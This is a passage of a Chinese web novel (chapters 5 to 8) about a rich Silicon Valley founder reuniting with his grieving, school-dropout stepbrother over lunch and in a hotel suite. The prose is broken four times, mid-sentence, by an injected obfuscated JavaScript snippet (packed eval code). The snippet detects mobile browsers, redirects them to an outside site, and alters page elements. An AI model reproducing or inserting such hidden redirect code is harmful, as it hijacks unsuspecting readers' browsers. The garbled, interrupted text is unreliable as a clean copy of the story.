陆既明笑道:“跟妈姓我猜到了,那怎么不叫‘林宝琛’呢?” 语气莫名有些调侃。 林嘉琛便道:“‘宝琛’这名字也太土了吧,再要个妹妹叫宝娟好不好!又是宝又是琛的,妈宝味太冲,从小我就不喜欢。都要改名字了,当然要改一个好听点的了。奈何我妈对‘琛’这个字情有独钟,还让我叫家琛。但‘家琛’也跟‘宝琛’土得不相上下,我就说,那还是叫‘嘉琛’吧。” 陆既明光是听听,都能想象到林嘉琛跟妈据理力争的模样,不禁笑了起来。 这时司机把车开上了跨江大桥,视野一下子开阔起来,林嘉琛便把车窗降了下来。 正值晌午,江风中也多了几分温热,很柔很湿润地吹了进来,把人身上每一寸肌肤都伺候得很舒服。 林嘉琛两手搭在窗边看了好一会儿,直到车子开下去大桥,这才把车窗升上。 陆既明便又道:“妈还换了手机号。” 5. 第 5 章 提到这个,林嘉琛又有一番往事不堪回首的慨叹,说道:“是我妈又去垃圾堆里找男友了,相处了一阵,原本想分手,结果被人缠上了。那人还跑去我妈上班的地方大闹了一场,害得我妈丢了工作,我们就决定回老家了。” 其实早在之前,妈妈和姥姥就有点想回老家了,只是他和哥哥都在安城上学,不太好变动。 后来哥哥走了,妈又丢了工作,大家都觉得再在安城待下去也没什么意思。 加上他过两年还要小升初,可他没有当地户口,能不能留在当地读书也是个问题。 他当年能在安城入学,倒是哥哥的爸爸托人给他塞进去的。 虽不是多好的学校,但好歹也是正规小学,也算那老登做过的唯一一件好事了。 他们回了鹿城后,妈妈那“前男友”又一直打电话骚扰他们,妈妈实在没办法,这才换了手机号。 林嘉琛微微垂着脑袋,他头发有些长了,低头时会盖住眼睛,便显得有些忧郁似的,说道:“……其实在我们回老家之前,还有妈妈换了手机号之后,都给你爸打过电话。” 哥哥离开的那一年,智能手机已经兴起,只是不像现在这么普及,价格也比现在高。总之哥哥离开时,还没有自己的手机号,导致哥哥走后,他们要联系哥哥只能通过那老登。 “你爸电话很难打通,有一回倒是醉醺醺地接了。那时我们一直联系不上你,他一接,我就很激动,一直在旁边听着。结果你爸以为我们是要跟他抢儿子,说了很多很过分的话。” 陆既明对这些事一无所事,关切道:“他都说什么了?” 林嘉琛道:“他说,你现在成绩很好,在市里都能进前五十名,将来肯定是要上名校!叫我妈不要以为养了你几年就可以沾光了,你成绩好,那是从小到大成绩都好,是他自己生得好,跟我妈没关系,叫我妈不要再厚脸皮纠缠你了。” “我妈一挂电话就哭了……她托你爸把她新办的手机号告诉你,想必他也没跟你提。” 听到这儿,陆既明心里一梗,想到妈妈和弟弟的遭遇,便只想把他爸骨灰给刨出来,找个地方给扬了。 但因为已经扬了,所以没办法,只好作罢。 他父亲临终之前曾握着他的手说,希望他这做儿子的,能把自己葬到一个山清水秀、鸟语花香、阴凉一点不要太晒的地方。平日里也不用常来看他,每年清明扫扫墓,中秋来摆摆水果,除夕、中元节再给他烧点纸钱就好。 只是陆既明觉得他爸那么不羁放纵爱自由,待在墓地里太憋屈了,还是大海更适合他,于是给他爸办了海葬。 他是一个无神论者,不认为不同丧葬方式会对死者本人有任何影响。找一块墓地,无非是让未亡人有个能悼念的地方。 只是他爸生前做下的桩桩件件的事,似乎也没哪一件值得他去悼念的。 他爸在把他扔在林嘉琛家不闻不问的那几年,身边也一直女朋友不断。手里没钱都是如此,后来发了点小财,那更是要大搞特搞。 要不是常年喝酒导致的性|功能下降,让他爸搞了这么多年都没能搞出一个孩子来,当年也不会回头来找他。他爸的兄弟姐妹也不跟他爸来往了。 做人失败成这样,实在没有立碑的必要,扬了倒也干净。 陆既明说道:“我爸走了。” 林嘉琛有些意外,但想起那老登天天闲在家里无所事事,只知道喝酒的鬼样子,只觉得短命倒也在情理之中。 他道:“高考结束之后,我妈一直念叨,说不知道你考得怎么样。我们这样家庭的人,高考就是唯一的出路,你成绩又那么好,可能这辈子就只有这么一次改变命运的机会了。我又一直闹她,她就又厚着脸皮给你爸打了一通电话。” “他那天倒没喝酒,心情还不错,告诉我们你考上A大了,就把电话给挂了,所以我们都知道你考上A大的事。” “我还跟我妈说,能不能带我去北京玩,然后去A大找你,万一就找到了呢……?只是我还要上学,要去只能等放假再去,可我放假,你也要放假,肯定就不在学校了……” “我们也不知道你选了什么专业,不知道该去哪儿找你。妈妈也还要上班,去一次北京也要花很多钱,所以就没去成。” “后来妈妈有了点积蓄,倒是带我去北京玩了一趟,还去A大门口拍了张照,但那时你早都毕业了。” 陆既明呼吸变得粗重,一想到他爸明明知道妈妈的新手机号,却一直没告诉他,他便觉得他爸那骨灰真是扬对了。 他见林嘉琛有些低落,便伸手把人揽过来。 只是四座车,后排两个座椅之间隔得有点远,林嘉琛也大了,不再像小时候那样他一抱就加倍地黏上来,而是整个人很大一只,有些硬挺挺的,于是抱了一会儿便松了手,安慰道:“都过去了。” 他又想起一件事,于之前的他而言很沉重,只不过眼下千帆过尽,便显得有那么些幼稚,问道:“你之前那个QQ号,后来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521145|203315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么不登了?我给你留了言,可你那奥特曼头像一直黑着。” 林嘉琛一羞赧,说道:“哦,那个QQ……” 他们家之前有一台台式电脑,放在哥哥房间里。 每当周末,哥哥检查完他的作业,再结合他近期表现,要是没什么太大问题就会给他玩一两个小时。 哥哥也给他注册过一个QQ号,两人还加了好友,但那账号密码一直都是在电脑上自动登录的。 后来离开安城,妈妈便把电脑二手卖掉了。 陆既明也猜到了,林嘉琛从小就是个小迷糊,说道:“密码忘了是吧?那密码我给你设置得那么简单,Zhengbaochen0601,你的名字加生日,顶多开头第一个字母大写,这都能忘?你怎么不把自己名字也忘了?” 林嘉琛挠挠头,一时不知该如何解释,说道:“其实如果是密码忘了,我还能试试找回来,但我是……” 陆既明道:“账号忘了?” 林嘉琛对此表示默认。 这账号一忘吧——那就是彻底束手无策! 陆既明下意识想开口教训一下林嘉琛这总是忘东忘西的毛病,只是弟弟大了,也不好再像之前那样管,便拿出了手机道:“事已至此,先加个微信吧。” 林嘉琛“哦”了声,亮出了好友码,两人加上了。 陆既明的微信头像是一张海边风景照,没有人像,连个背影都没有,纯风景。 林嘉琛虽没出过国,但也上过网,看那碧蓝通透、一望无际的的果冻海,感觉很像是马尔代夫。 他又点进哥哥朋友圈去看,看到的却是一条浅灰色横线,往下扒拉扒拉,还是什么都刷不出来,便问道:“哥,你朋友圈不会屏蔽我了吧?” 陆既明正拿着手机输入什么,回应道:“没屏蔽,我朋友圈就是什么都没有。” 紧跟着,“叮—”地弹出一条信息,上面是一串号码。 陆既明道:“这是我手机号,你存一下。”以防万一林嘉琛偷懒不存,强调道,“现在就存,再把你的号码发给我。” 林嘉琛乖乖执行,先把自己手机号发给哥哥,而正准备保存哥哥的,上面便“叮—”地弹出一条信息。 支付宝:【陆既明已成功向你转了1笔钱,立即查看>>】 林嘉琛“嗯?”了一声点进去,只见—— 陆既明:【¥10000.00】 无需点击,便已进入了他的支付宝账户。 6. 第 6 章 林嘉琛看到后一下子坐正了,看向陆既明道:“哥,你怎么给我转这么多啊?” 陆既明老神在在道:“不要嫌少就好。你现在还小,身上有太多现金我也不放心,你有什么需要的,我带你去买,但你的零花钱我也不想一次性给你太多,免得你学坏。”又问道,“家里一般给你多少零花钱?” 林嘉琛心道,一万块还有人会嫌少吗? 他没多解释什么,只说道:“姥姥一周给我400块,我一般200块钱充饭卡,200块钱自己花。” 这200还包含他周末往返姥姥家的车费,还有文具钱什么的。不过这是他两周前,也就是辍学之前的状态。 陆既明看着林嘉琛这双没有被资本主义玷污过的眼睛,看了片刻,不禁笑了一下。 刚刚看到他叼着烟,吐着烟圈,从网吧通完宵走出来的模样,还以为这小子长歪了,还想着要怎么修理回来。 只是交谈下来,只觉得林嘉琛一点也没歪,妈妈和姥姥把他教得很好,且他本身就是一个底色很好的小孩儿。 他之前也担心太久不见,林嘉琛会不会跟他生分了? 但毕竟是打小在一个屋檐下朝夕相处了四年的关系,今日一见,觉得林嘉琛倒也没怎么变,甚至讲话的语气,举手投足的特点都还和小时候一模一样,心里便也踏实了。 此时司机绕了一圈,再次把车开上了大桥,两人便知道司机是真没什么地方可去了。 陆既明看了眼腕表,说道:“现在是九点半,从这儿开到市区估计也要半个多小时,你饿不饿,要不要先去吃个饭?” 林嘉琛的确有些饿了,应道:“好啊。” 陆既明又问:“你有没有什么想吃的?” 林嘉琛道:“什么都可以吗?” 陆既明想了一下道:“都可以,但像炸鸡、汉堡、烧烤这类不健康的就不要吃了。” 林嘉琛心道,那这一下子排除出去好多了,且他喜欢吃的好像都是些不健康的东西,想了想,又问道:“……那火锅可以吗?” 陆既明慢条斯理道:“你是说哪种火锅,是老北京涮羊肉,广东那边的牛肉火锅、粥底火锅,还是川渝的麻辣火锅?” 林嘉琛道:“当然是麻辣火锅了!哥,你不会还不能吃辣吧?” ……陆既明沉默了。 林嘉琛心道,那看来是了,他哥从小就是一个不能吃辣的南方人;虽然他小时候也不太能吃辣,但比哥哥还是强一点的,于是很大度、很懂事地道:“那算啦,再看看别的吧。” 陆既明道:“下次试试,但一大早还是不要吃太刺激性的食物。”又问道,“能不能给我介绍一下平州当地有什么好吃的?” 可林嘉琛也不太懂,他唯一最懂的就是那条夜市了,因为他妈妈之前在那儿开了家麻辣烫店。 但夜市夜市,现在还不到上午十点。且那边卖的东西,在哥哥眼里应该也都属于垃圾食品的范畴。 陆既明便按下手边一个按钮,与正在开车的司机对话,问司机这附近有没有什么好吃的? 林嘉琛在一旁道:“嚯,还有这个功能。” 陆既明一看林嘉琛这么喜欢这车,说道:“看来真是要买一辆了,再请个司机接送你上学。这车减震很好,你在路上看书、写作业、上网课什么的也不会头晕。” 林嘉琛一时梗住了。 哥哥已经第二次提起上学的事,只是他已经辍学,甚至妈妈也…… 这些情况,都不知该怎么跟哥开口。 哥哥从小就是个高材生,恐怕最讨厌的就是像他这样早早辍学,出来混社会的“社会青年”了吧? 知道他辍了学,估计也会很生气、很失望。 想着,不禁低下了头。 司机两手握着方向盘,说道:“我知道有一家浙菜餐厅,也不知道正不正宗,不过这些菜到了外地,估计也是根据当地人口味改良过的。我反正觉得味道不错,环境也很好。” 他之前是陪老板去的,老板们在包厢谈事,一般会让他在大厅点俩菜自己吃。 他看陆老板很有品位,也不敢随意推荐,说道:“要么就都是会所之类的,有点纸醉金迷的地方。” 林嘉琛还小,陆既明还不想带他去太纸醉金迷的地方。 不过他和林嘉琛,从小都是不南不北地长大的,口音和口味也可以说是五湖四海,接受度很高。 他在美国,身边也很少有国人能猜出他是哪里人,基本连南北都猜不出,说他发音方式偏北方,有些字的咬字却又很南方。 那家不知道正不正宗的浙江菜,应该也很符合两人口味,他便看向一旁林嘉琛,询问他意见。 林嘉琛薄薄的身子陷在座椅里,两条穿着阔腿裤的大长腿大喇喇地往前伸着,说道:“那就这家吧。” 一小时后,两人来到餐厅。 为了说话方便点,陆既明便带他进了包厢。 餐厅环境是很清雅的中式风,包厢内是十人圆桌,两人挨着坐,一块儿翻着菜单把菜点了。 点完,陆既明又看起了酒单,林嘉琛便道:“哥,你一大清早就喝酒啊?” 陆既明靠在椅背上,后背挺得很直,手中拿着一本用软牛皮包裹着的酒单,思忖片刻道:“我也不想喝,但这包厢低消一万五。” 这餐厅算高档,但一道菜最贵也不过几百上千块,他和林嘉琛两个人又吃不了太多,不点瓶酒低消便很难凑上去。 林嘉琛则大受震撼! 什么低消要一万五啊,而且他记得低消不是已经不允许了吗? 陆既明继续看酒,毕竟是中餐厅,犹豫要不要点个茅台之类的,但一大早喝白酒的确有点太过了,并且香槟和中餐其实还是挺搭的,带点酸度,又有气泡,可以起到一定的解腻效果,便点了瓶香槟。 过了片刻,侍酒师过来开酒,将酒标朝向他,向他确认酒和年份。 陆既明点点头,侍酒师便开了酒,软木塞轻轻旋开,带着些果味的芬芳便满溢出来。 侍酒师很体贴周到的模样,先倒了一些,陆既明抿了一口,觉得没问题,侍酒师便把酒杯注满;倒完要走到林嘉琛那一侧时,陆既明又说道:“他还没有成年。” 林嘉琛道:“我成年了!” 陆既明看向他,疑惑道:“什么时候?” 林嘉琛道:“上个月啊,刚满十八岁,但我不喝酒。” 侍酒师听了这话,把香槟插进冰桶,说了声慢用便离开了,林嘉琛便说道:“服务好好。” 陆既明道:“服务费百分之十。” “…………” 果然,万事万物都是标好了价码的。 过了片刻,菜一道道地端上来,圆盘缓缓旋转。 陆既明没多说什么,只揉了揉林嘉琛后脑勺,说道:“快吃。”说着,起身给他捞了一碗沙蒜豆面,林嘉琛自己点的菜。 林嘉琛尝了一口,连连道:“嗯嗯嗯,这个好吃,他们家算正宗的了吧?” 虽然他也不是很懂。 陆既明道:“已经算很正宗了。” 林嘉琛又夹别的菜,只觉得每一道都好吃,又忍不住问道:“哥,你现在在做什么动作啊?” 陆既明一时还真不知该怎么说清楚,想了想道:“简单来说,我现在在硅谷创业。” 他大学学的是计算机,大三那年他爸去世,给他留下点遗产,一点现金加一套三居室,他又收到了斯坦福的offer,他便果断去留学了。留学第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521146|203315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一年把现金花光,便又果断把房子也卖了,这也是他一开始便考虑好的事。 硕士期间找到一个研究方向,做了点技术创新,于是没毕业,他便又和几个同学一块儿创业。 他刚创业时干劲十足,可眼下公司产品已经定型,他大概有一年时间没有碰过代码,做的都是融资、管理方面的事——老实说,做得有点痛苦。又刚好有资本想要接手,他便套现了大半,同时从管理岗上离任,眼下就是个财富自由的闲人。 而他刚完成套现,正闲在家里,朋友便帮他找到了林嘉琛,一切都那么巧,他便立刻买了张机票回国。 他也不敢说自己有多大本事,不过刚好踩中AI的风口,又刚好早起步那么一年,所产生的效益便是他之前不敢奢望,让他再来一回,他也绝不敢奢望的。如今又安全落地,只能说老天待他不算太薄。 现在回想起来,创业那几年,直到此刻他找到林嘉琛,和林嘉琛在一张桌上共进午餐,都恍若浮生一梦一般。 林嘉琛听完,崇拜得说不出话,道:“哥,你也太厉害了吧!我从小就知道你很厉害,将来肯定能出人头地,但你怎么能出人头地到这种程度啊?简直做梦都不敢想……” 陆既明有些吃饱了,便又抿了口香槟,问道:“鉴于你上个月已经成年,要不要尝一口?” 毕竟他一个人实在喝不完。 可林嘉琛不喜欢酒,他不喜欢任何带苦味的东西,一丁点都不喜欢,于是道:“我不喝酒,能不能帮我点一瓶可乐?” 其实他点菜时就想点了,但他知道哥哥肯定会说喝可乐不好,想着第一天见面还是不要忤逆他,便忍着没说。只是眼下吃饱了饭,实在很需要一瓶冰凉冰凉的碳酸来解解腻。 陆既明便对一旁服务生道:“给他一杯鲜榨果汁。” 可林嘉琛不愿意,说道:“我想要可乐。” “果汁。” “可乐。” “果汁。” 林嘉琛顿了顿,见哥哥脸色还好,于是又坚持了一下道:“……可乐。” 陆既明坐在椅子上,一脸“第一天见面也懒得说你”的表情看了他片刻,对服务生道:“那就给他可乐吧。” 一罐冰可乐下肚,林嘉琛这才吃饱喝足。 陆既明又问道:“你平时住哪儿?” 林嘉琛道:“我妈在平州买房了。”语气中带着一丝自豪,毕竟平州是省会城市,房价也不低,继续道,“其实回了鹿城后,我们日子好了一些,姥姥在学校门口卖炸串赚了点钱,把钱借给我妈,我妈就开了一家麻辣烫店。” 陆既明听着这些事,只觉得鲜活又有趣,没想到林嘉琛一家的原始积累,是靠姥姥卖炸串完成的。 林嘉琛继续道:“后来我妈也赚了点钱,觉得鹿城教育质量不太行,又带我搬到平州,在夜市街又开了一家麻辣烫店。再后来攒了钱,就买了个小房子,总之和之前比已经好很多了。” 陆既明很欣慰,又道:“那能不能请我到你家里去坐一坐?” 林嘉琛其实挺想带哥哥去他家看一看的,如果妈妈还在,也不知会高兴成什么样。 只是妈妈不在了,他昨日出门时,衣服、袜子又扔了一地,洗碗池里也堆了一堆碗碟没洗,前阵子堕落的生活状态一览无余。他哥又有轻微洁癖,他怕他哥看到了会昏过去。 且他也是个要面子的成年人了,还是想把房子收拾一下,再体面一点地请哥哥过去,于是道:“能不能改天啊?” 陆既明也猜到了,没多勉强,只是看了眼时间,时间还早,便又道:“那你要不要到我那里去坐一坐?” 林嘉琛欣然道:“好啊。” 只是说完才意识到——哥哥那里应该是个酒店吧? 7. 第 7 章 三十分钟后,车子在酒店一楼大堂前停了下来。司机和泊车员走上前来,同时从两侧开了门。 陆既明下了车,忽然想起什么来,又让司机开了后备箱,而后拿出几个袋子,说道:“好多年不见,我实在不知道现在的小男孩儿都喜欢什么,来得又有些匆忙,先给你带了这个。” 林嘉琛看了一眼道:“苹果全家桶?” 陆既明道:“喜欢吗?” 林嘉琛道:“这很难有人不喜欢吧,谢谢哥!”说着,和陆既明一块儿走进去,又调侃道,“不知道我喜欢什么,所以带了美国当地特产的苹果!” 陆既明在一旁笑。 平州是一个二线省会城市,这酒店算是平州最好的酒店,刚建没多久,设施也很新。陆既明房间在36层,几乎就是顶层了,房间是一间宽敞、明亮的套房,有客厅、餐厅和水吧台,看着不像酒店,倒像个小型公寓。 林嘉琛一进门便“砰—”地在沙发坐下了,坐了会儿,抬起头,便看到他哥在脱外套。 结果脱了黑色的西装外套,里面还有件黑色的西装马甲——标准的西装三件套。 林嘉琛瞥了一眼便说道:“哥,你不像在硅谷工作的,你像在华尔街工作的。” 陆既明听出这小子有调侃他穿着的意思,走上前去,揉乱了他那一头粉毛,听他吱哇乱叫,这才心满意足地走到一旁单人沙发前坐下,看了林嘉琛片刻,说道:“我昨天刚跟你们温老师见过面。” “!!!” 林嘉琛脑子里的一根弦“叮—”地便弹了起来,当即坐直了,说道:“哥……你不先来找我,怎么倒先去见我老师啊,你调查我?” 陆既明手臂自然搭在两膝上,上身微微压着,说道:“不调查怎么找到你呢?” 他知道寻找和调查是两码事,至少昨天和温老师见面,便不属于寻找的范畴,而属于调查,但还是这样诡辩了一下。 林嘉琛也没听出哪里不对,好像他哥天然有权这样做。 和温老师见过面,那岂不是什么都知道了?包括他辍学的事,还有他妈妈离世的事?知道了还不跟他说,亏他还沉重了一整天…… 陆既明顿了片刻,沉声道:“妈是怎么走的?” 一瞬间。 真的只是一瞬间。 大颗大颗的眼泪忽然从少年忧郁半睁着的眼眶里滑落了下来。 陆既明从茶几抽了两张纸,走过去,帮林嘉琛抹了一把泪,结果纸巾一下子就湿透了,于是又多抽了几张,而后抱住了他的头。 早猜到会是这样,这让他怎么敢在外面提这件事? 林嘉琛粉色的、毛茸茸的脑袋靠在陆既明身上,眼泪不断涌出来,沾湿了陆既明的衬衫,濡湿了他腹部。一开始还有些温热,过了片刻,便又在空调冷风下吹得冰凉。 他很无助地说:“妈妈得了胰腺癌……” 尾音不住颤抖。 癌症晚期,病人是很痛苦的,而胰腺癌在所有癌症中都算是最痛苦的。 妈妈临终前的那段时间,他们全家都备受折磨,妈妈也总是说,离开或许也是种解脱。 他用一年时间和妈妈做了告别,于是当妈妈真正咽气的那一刻,他很平静地接受了,整个人是木的。直到拿到死亡证明,医生说可以联系殡仪馆,他拿着单子走出去,看着上面妈妈的名字,才意识到这个叫林书华的女性就这样从这世界上消失了。 妈妈病重的那一年,是他和姥姥两个人轮流在医院照顾的。妈妈离开后,他不想姥姥太辛苦,便主动说要去住校,姥姥便一个人回了鹿城。 姥姥年纪也大了,血压不太好,情绪不能太波动,他便不敢在姥姥面前表现得太难过。 姥姥像是也平静地接受了妈妈离开的事实…… 直到去年寒假,他去了姥姥家,有一天失眠到深夜,听隔壁房间传来动静,像是姥姥也在失眠。 姥姥像是在床上躺了很久,实在睡不着,便长叹了一口气下了床,之后便一直对着阳台方向叹气,他便知道姥姥也还是放不下。 姥爷多年前便走了,姥姥独自白发人送黑发人,他妈妈还是独生子女,姥姥又怎么可能放得下…… 这一年里,他也总是猝不及防地想起妈妈。 可能是在吃饭时、可能是在上课时、可能是在走路时,忽然想起和妈妈相处的某一个瞬间,眼泪便像是失禁一般掉个不停。 他不想被人看见,便只能咽回去。 直到此刻哥哥出现,他才像是找到了依靠一般嚎啕不已,完全不顾及形象地失声痛哭。 陆既明站在弟弟面前,抱紧了坐在沙发上的弟弟,仰起头,几滴泪也顺着滑了下来,只感到喉咙很重,声音也有些低哑,说道:“对不起。” 他应该早点出现。 妈查出胰腺癌是在两年前,那时他公司刚起步,不说把妈送到国外治疗, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521147|203315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至少也能把妈转到北京的大医院。 他知道胰腺癌由于前期痛感不强烈,让人很难察觉,于是往往一发现便是晚期。可哪怕病情无法挽回,他至少也能成为林嘉琛和姥姥的依靠,而不是让一个小孩、一个老人独自去面对如此无力的情境。 他又抱紧了一些,说道:“对不起,是我来晚了。” 不知过了多久,林嘉琛眼泪终于止住。 陆既明在林嘉琛旁边坐下,又给他抽了几张纸。 林嘉琛接过来擦眼泪,可纸巾一下子又湿透了,陆既明便干脆把纸巾盒给他抱着,又给他拧了一瓶水。 林嘉琛哭得有点渴,“咕咚咕咚”把一瓶水喝干。 陆既明又问道:“那妈现在葬在哪儿?” 林嘉琛抹了一把泪,交代道:“妈临终前跟我们说,让我们把她的骨灰洒在她老家的河里,跟政府申请一下就可以。因为那一年为了治病,家里积蓄快花光了,我找中介把房子也挂出去了,只是没等房子卖出去,妈妈就……一块墓地要十多万,我妈不想让我们花这个钱……” 陆既明道:“所以是洒在河里了?” “没有,”林嘉琛道,“我跟姥姥都不忍心,商量了一下,还是在老家买了块墓地。” 陆既明这才松了一口气,摸摸林嘉琛的头,很欣慰地道:“做得很好。” 如果洒进了河里,那他真的会很遗憾。 他又道:“我听温老师说,妈病重的那一年,你也一直在病床前守着,是吗?” 林嘉琛点了一下头道:“当然要守着,不守着又能怎么办……” 那时妈和姥姥赶他去住校,让他不要操心医院的事,周末来看一眼就好。可他即便住了校,又怎么可能不操心。 那一年时间,他也的确成长了很多。 回想妈妈病重之前,他实在是个妈宝,可那一年里,他已经成了姥姥和妈妈的依靠,家里大事小事都要和他商量。 眼下哥哥的安慰,又让他感到自己是个有家长可以依靠的小孩儿,可以肆无忌惮地哭,而不必假装坚强。 陆既明指尖轻抚着他的头,安慰道:“你辍学的事,我也已经听说了。家里发生那样的事,的确没办法。你也真的做得很好,能在妈妈病床前尽孝,做到问心无愧、无怨无悔也就没有遗憾了。” 林嘉琛点了一下头。 陆既明话锋一转,却又道:“那你之后是什么打算呢?” 8. 第 8 章 此话一出,方才的温情忽然变得冰冷现实。 林嘉琛也不知道自己将来是什么打算,只知道既然辍了学,便要自己养活自己。 但他实在不想让哥哥知道自己这些天在找工作的事,毕竟和哥哥相比,他找的那些工作简直是云泥之别…… 林嘉琛眼眸微垂,睫毛长长地盖下来,顿了片刻,看向一旁道:“哥,温老师是怎么跟你解释我辍学的事的?” 两人并排坐在一张意式皮质沙发上,陆既明身形比例优越,穿一身正装,道:“说你跟科任老师吵了一架。” “……?” 原来温老师是这样解释的吗? 说他跟科任老师吵了一架,然后很任性地辍了学? 不知为何,林嘉琛感到有些伤心失落。 原来再开明的老师、家长也不会对他们感同身受,而只会武断地用老师、家长的视角看待他们。 哥哥也一样,明明已经知道他辍了学的事,刚刚在车上,却还不止一次地说要接送他上学,肯定是打了要把他塞回学校的主意,并且很自信自己会听他的。 反正好言相劝不行,那就武力压制,大人们总有办法。 眼下又轻飘飘地用一句“和科任老师吵了一架”来概括他这一整年的痛苦,这让他有些生气。 他说道:“那只是导火索!” 陆既明摸摸他后颈,像是安抚一般,说道:“我知道。” 林嘉琛只觉得哥哥一点都不知道,说道:“我不是和科任老师吵了一架才辍学的,早就不是这种意气用事的小孩子了。在此之前,我已经有整整一年都看不进去书,坐在教室里,就跟把我架在火上烤一样。反正我这个成绩,读下去也考不上大学,高中毕业和高中肄业又能有多大差别?我也是深思熟虑之后才提出要辍学的!” 陆既明又道:“我知道。” 林嘉琛炸毛道:“那你为什么这么淡定,仿佛是在‘向下兼容’的样子啊?” 陆既明怔了怔,反思了一下自己道:“我有吗?” 林嘉琛道:“你有。” 陆既明略微调整了一下坐姿,说道:“那我注意一下态度,你继续说。” 林嘉琛道:“总之,心气没了,已经调整不回来了。哥你现在创业这么成功,要是让你返回去从头再来一次,你还愿意吗?” 陆既明认真思考了一下这个问题,说道:“创业也要看时机,从头再来,不一定会是什么结果。但如果真返回去了,那也只能重来啊。” 林嘉琛道:“我可不愿意,我已经考虑清楚了,反正我会自食其力!” 陆既明没料到林嘉琛是铁了心要辍学,他一开始的确抱着好好劝一劝,林嘉琛便能回到学校的想法,眼下一看,确实头疼,于是问道:“那你准备如何自食其力呢?” 林嘉琛道:“虾有虾路,蟹有蟹路,我也有我自己的路。”说着,往沙发上一倒。 而在这时,好巧不巧,手机在茶几上“叮—”地弹出一条微信。 团播招聘-龙哥:【帅哥,考虑好了吗?】 林嘉琛:“……” 陆既明看到了,便拿起那手机,伸到林嘉琛脸前晃了一下。 手机人脸识别成功—— 进入主屏幕。 “!!!” 平时怎么不这么灵敏啊!!! 林嘉琛伸手要夺,只是他身高、臂展都不是他哥的对手,挣扎了几下没抢到,有些崩溃道:“哥,你干嘛,我也有隐私的!” 陆既明道:“你小时候我还给你泡奶粉呢,现在跟我谈隐私了?” 林嘉琛崩溃道:“咱俩第一次见面的时候我都已经六岁了,你给我泡过什么奶粉啊?”说着,又想起来了,再度崩溃,“那是小时候家里订不起鲜奶,妈给我们买的高钙奶粉!说的好像你给我泡过婴儿奶粉一样!你怎么不说我小时候,你还给我换尿不湿呢?” 陆既明道:“等我们老了,要是你比我先瘫下,倒也不是不能给你换。” 林嘉琛:“……???” 陆既明背过身,翻看两人聊天记录。 老实说,在此之前,他并没有听说过什么叫团播,不过那“团播招聘-龙哥”给林嘉琛发了个直播片段,说他们公司想做的是这种风格,他虽没点开,但看那画风大致也明白了是怎么回事。 那“团播招聘-龙哥”给林嘉琛讲了讲薪资待遇,又问道:【手势舞会吗?】 林嘉琛:【嗯。】 团播招聘-龙哥:【有没有视频? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521148|203315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发过来给我看一眼。】 一小时后,团播招聘-龙哥:【?】 又过了十多分钟,林嘉琛发了个视频过去。 这一小时十多分钟,陆既明理解林嘉琛应该是拍视频去了。两分钟的视频拍了一个多小时,也是够重视的。 视频封面是一个粉头发的小男孩,还加了猫耳朵特效,两手做着小猫咪抬爪的动作,视频上方一个三角形的播放键。 陆既明人生第一次见到林嘉琛这模样,眼下坐在酒店沙发上,不淡定程度已经超过了今天一早,看到林嘉琛叼着根烟从网吧走出来。 他很粗重地呼了一口气,全身像被烘烤一般燥热了起来。 顿了片刻,点击播放—— “!@#¥%……~!@#¥%……&*” “阿米嘎蒂朵~喵喵~阿米嘎蒂朵~喵喵~” “阿米嘎蒂朵~喵喵~阿米嘎蒂朵~喵喵~” 粉头发的小男孩随之舞动,做的都是小猫咪动作。 林嘉琛是很漂亮的那类小男孩,染了粉头发便更是如此,眼睛大大的、亮亮的,眼尾甚至有一丝魅惑,加上视频里的特效和滤镜便更是如此。 眼下坐在他旁边,耷拉着脸,好像谁欠他两百万一样,在视频倒是很会笑、很会媚,让陆既明心里一下子像是醋坛子打翻了。 视频一结束,房间内便陷入死一般的寂静。 这支舞并没有擦边或任何不妥,但一想到他哥看到了,林嘉琛便还是有种羞耻得想要捂着脸逃出房间的冲动,他哥带给他的美国特产也不要了! 正不知陆既明会如何评价此事—— 只听那一头—— “!@#¥%……~!@#¥%……&*” 